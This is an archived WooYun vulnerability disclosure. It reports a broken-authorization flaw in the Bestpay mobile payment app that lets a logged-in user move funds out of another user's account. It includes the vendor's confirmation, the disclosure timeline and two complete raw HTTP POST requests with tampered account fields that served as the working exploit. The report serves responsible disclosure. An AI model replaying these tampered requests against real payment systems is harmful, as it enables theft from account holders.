乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-01-07: 细节已通知厂商并且等待厂商处理中 2015-01-08: 厂商已经确认,细节仅向厂商公开 2015-01-18: 细节向核心白帽子及相关领域专家公开 2015-01-28: 细节向普通白帽子公开 2015-02-07: 细节向实习白帽子公开 2015-02-21: 细节向公众公开
给个20好不好呢?强烈推荐去做个乌云众测,漏洞狠多翼支付设计不当可窃取他人账户资金
转账给其他人时,登陆的账号是用户甲,修改甲转账时候的POST包,改成如下 乙转给甲1.8元,生成交易单号
POST /MEPF_INF2/httppost?ran31=1420620640000?ran67=1420620697000 HTTP/1.1Host: client.bestpay.com.cnConnection: keep-aliveContent-Length: 380Origin: file://Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; zh-cn; GT-I9100G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Accept-Encoding: gzip,deflateAccept-Language: zh-CN, en-USAccept-Charset: utf-8, iso-8859-1, utf-16, gb2312, gbk, *;q=0.7method=predictTransfer&encrypt=×tamp=000003&sessionkey=&v=000001&sig=&PRODUCTNO=用户乙&TRANSFERTYPE=8&SOURCEBANKCARDNO=&SOURCEACCOUNTNAME=&SOURCEIDTYPE=&SOURCEID=&DESTBANKCARDNO=&DESTACCOUNTNAME=&DESTIDTYPE=&DESTID=&DESTPRODUCTNO=用户甲&TXNAMOUNT=180%7C0&PARTNERID=000016900000&LOCATION=40&CUSTOMERNAME=&TXNPASSWD=&DESTCUSTOMERNAME=&TRANSREASON=&TXNAMOUNTFLAG=1%7C2
付款时候,依旧修改POST包,加上用户乙的支付密码,成功在不登陆用户乙的情况下,从乙账户里偷走1.8元
POST /MEPF_INF2/httppost?ran31=1420620640000?ran67=1420620697000?ran93=1420620754000 HTTP/1.1Host: client.bestpay.com.cnConnection: keep-aliveContent-Length: 454Origin: file://Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; zh-cn; GT-I9100G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30Accept-Encoding: gzip,deflateAccept-Language: zh-CN, en-USAccept-Charset: utf-8, iso-8859-1, utf-16, gb2312, gbk, *;q=0.7method=transfer&encrypt=×tamp=000004&sessionkey=&v=000001&sig=&PRODUCTNO=用户乙&TXNPASSWD=用户乙支付密码&TRANSFERTYPE=8&SOURCEBANKCARDNO=&SOURCEACCOUNTNAME=&SOURCEIDTYPE=&SOURCEID=&DESTBANKCARDNO=&DESTACCOUNTNAME=&DESTIDTYPE=&DESTID=&DESTPRODUCTNO=用户甲&TXNAMOUNT=180%7C0&PARTNERID=000016900000&PARTNERORDERID=2015010793993881&ORDERID=150107068465925&LOCATION=40&CUSTOMERNAME=&DESTCUSTOMERNAME=&TRANSREASON=%E6%97%A0&TXNAMOUNTFLAG=1%7C2
仅测试转账,其他还有几处存在平行权限越权。
限制,争取干掉支付宝。能有个小礼品就更好了
危害等级:高
漏洞Rank:15
确认时间:2015-01-08 09:59
感谢 蜉蝣 白帽子的辛苦检测,经验证后该问题确实存在,由于他人账户资金仍受支付密码保护,故给Rank 15。目前已准备申请奖励,再次感谢 蜉蝣 !!!
暂无